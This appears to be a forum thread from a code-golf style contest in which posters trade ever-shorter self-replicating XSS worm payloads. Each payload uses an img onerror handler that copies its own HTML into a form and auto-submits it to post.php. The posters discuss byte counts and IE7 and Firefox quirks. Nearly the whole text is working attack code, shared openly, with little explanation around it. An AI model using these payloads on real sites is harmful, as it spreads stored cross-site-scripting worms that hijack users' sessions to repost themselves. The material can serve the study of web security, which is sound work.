<img src=. onerror=[whatever]>fires in IE7. you can use other things in place of the . too. I couldn't find any shorter ones with IE7
<s><img src=. onerror="alert('xss');f=this.nextSibling;f.firstChild.value='<s>'+this.parentNode.innerHTML+'</s>';f.submit()">
<form method=post action=post.php><input name=content></form></s>
<b><img src=. onerror=alert('xss');with(this.nextSibling)content.value=parentNode.innerHTML.bold(),submit()><form method=post action=post.php><input name=content></form></b>
174 bytes (not sure if it's already old)
<b><img onerror="alert('xss');n=(m=this.parentNode).lastChild;n[0].value='<b>'+m.innerHTML+'</b>';n.submit()" src=""><form action="post.php" method="post"><input name="content"></form></b>
Note that the additional quotes are used because FF adds them otherwise and the script won't replicate identical* (also changed order of onerror/src & action/method for IE).
<b><form method=post action=post.php><img src=. onerror=alert('xss');with(this.parentNode)content.value=parentNode.innerHTML.bold(),submit()><input name=content></form></b>
173 bytes
<b<img src=m onerror=alert('xss');with(nextSibling)content.value=parentNode.innerHTML.bold(),submit()><form method=post action=post.php><input name=content></form</b
<b><img src="." onerror="alert('xss');with(this.nextSibling)firstChild.value=parentNode.innerHTML.bold(),submit()">
<form method=post action=post.php><input name=content></form></b>
<b><form action="post.php" method="post"><img onerror="alert('xss');with(this.parentNode)[0].value=parentNode.innerHTML.bold(),submit()" src=""><input name="content"></form></b>
If you use innerHTML you get 'fixed' HTML in FF (so <input name=content> becomes <input name="content">), which length counts? (see my 'identical replicate' moaning) ... also IE changes some order of arguments (although not in my versions since I edited it to IE 'preferred' order) and capitalizes tagNames...Quote
2) must self replicate the entire payload